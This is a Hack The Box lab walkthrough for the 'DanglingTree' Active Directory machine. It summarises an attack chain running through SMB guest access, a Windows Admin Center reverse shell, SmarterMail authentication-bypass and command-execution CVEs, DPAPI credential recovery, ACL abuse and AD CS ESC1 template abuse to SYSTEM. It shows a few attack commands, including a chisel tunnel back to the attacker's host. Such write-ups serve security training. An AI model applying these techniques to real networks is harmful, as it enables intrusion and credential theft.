Overview
DanglingTree is a medium-difficulty Windows Active Directory machine from Hack The Box. The attack path begins with anonymous Guest access to an SMB share and progresses through Windows Admin Center, SmarterMail, credential recovery, Active Directory ACL abuse and Active Directory Certificate Services.
The final privilege escalation path results in an Administrator certificate, authentication through PKINIT, recovery of the Administrator NT hash and execution as NT AUTHORITY\SYSTEM on the Domain Controller.
DanglingTree Attack Chain
1. Enumeration
SMB Guest Enumeration
The initial enumeration identified SMB Guest access. The accessible IT share contained an assessment document that disclosed credentials for a provisioned domain user.
netexec smb <TARGET_IP> -u null -p '' --shares
The important share was:
IT — READ
RoE Assessment Document
The IT share contained DanglingTree_RoE_Assessment.pdf. The document provided the authorized assessment account used for the next stage of enumeration.
2. Windows Admin Center
The exposed Windows Admin Center service was available on TCP port 6600. After authenticating with the provisioned domain account, the WAC terminal functionality was examined through Burp Suite.
POST /api/services/WinREST/PowerShell/nodes/dc/invokeCommand
The endpoint accepted a PowerShell script through the command invocation mechanism. A PowerShell reverse shell was executed through the WAC interface.
3. SmarterMail Enumeration
Post-exploitation enumeration revealed the C:\SmarterMail installation. Port 17017 was listening locally and was identified as the SmarterMail web interface.
netstat -ano | findstr "LISTEN"
Chisel was used to forward the local SmarterMail service to the attacking machine.
.\chisel.exe client <YOUR_IP>:4445 R:17017:127.0.0.1:17017
4. CVE-2026-23760 — SmarterMail Authentication Bypass
The SmarterMail installation exposed build 9504. The vulnerable password-reset API allowed the password of the svc_mail account to be reset without validating the existing password as expected.
POST /api/v1/auth/force-reset-password
After resetting the password, authentication as svc_mail provided a SmarterMail system-administrator context.
5. CVE-2026-24423 — SmarterMail Command Execution
The second SmarterMail vulnerability involved the ConnectToHub functionality. A controlled hub response was used to trigger command execution and obtain a Windows shell running as svc_mail.
6. SmarterMail Backup Domain
The SmarterMail installation contained both the active domain and a retained backup domain:
C:\SmarterMail\Domains\danglingtree.htb
C:\SmarterMail\Domains\danglingtree.htb.bak
The backup domain contained additional mailbox accounts, including noah.b.
The active domain was detached through the SmarterMail administrative interface, the backup domain was attached, and the backup mailbox data became available for the impersonation workflow.
7. Credential Recovery
SmarterMail's administrative impersonation and password-view functionality exposed the password associated with the backup-domain account.
The recovered account was then used to obtain a Windows shell as noah.b.
8. DPAPI Credential Recovery
Windows Credential Manager contained stored credential data associated with another domain account. The credential blob and corresponding DPAPI master key were exported and processed with Impacket's DPAPI functionality.
cmdkey /list
Decryption recovered credentials for alex.o.
9. BloodHound and ACL Abuse
BloodHound collection was performed using the recovered alex.o account.
bloodhound-python \
-u alex.o \
-p '<PASSWORD>' \
-d danglingtree.htb \
-ns <TARGET_IP> \
-c All
The important relationship identified during the investigation was:
The permission allowed the password of jake.h to be reset without knowing the previous password.
10. Active Directory Certificate Services
Certificate Services was identified during enumeration. The Certificate Authority was:
danglingtree-DC-CA
Certificate template enumeration revealed an important inconsistency: the CA advertised EmployeeAuthTemplate, while the expected certificate-template object was initially absent from Active Directory.
Certificate Template Creation
The jake.h account had CREATE_CHILD permission on the Certificate Templates container. A certificate-template object was therefore recreated with the required AD CS attributes.
ESC4 / ESC1 Conditions
The recreated template was configured with properties including client authentication and enrollee-supplied subject information. Certificate enrollment rights were subsequently granted to Authenticated Users.
This produced the conditions required for an ESC1-style certificate request.
11. Administrator Certificate
A certificate was requested for the Administrator identity using the vulnerable certificate template and the Administrator SID.
The resulting certificate was used with Certipy to authenticate through PKINIT and obtain the Administrator credential material.
12. SYSTEM Access
The recovered Administrator NT hash was used with Impacket to authenticate to the Domain Controller. The resulting session executed as:
This completed the DanglingTree attack path from initial Guest SMB access to SYSTEM-level execution on the Domain Controller.
Complete Walkthrough
The complete command-by-command version, including the detailed exploitation process, is available in PDF format.
Open Full DanglingTree Walkthrough →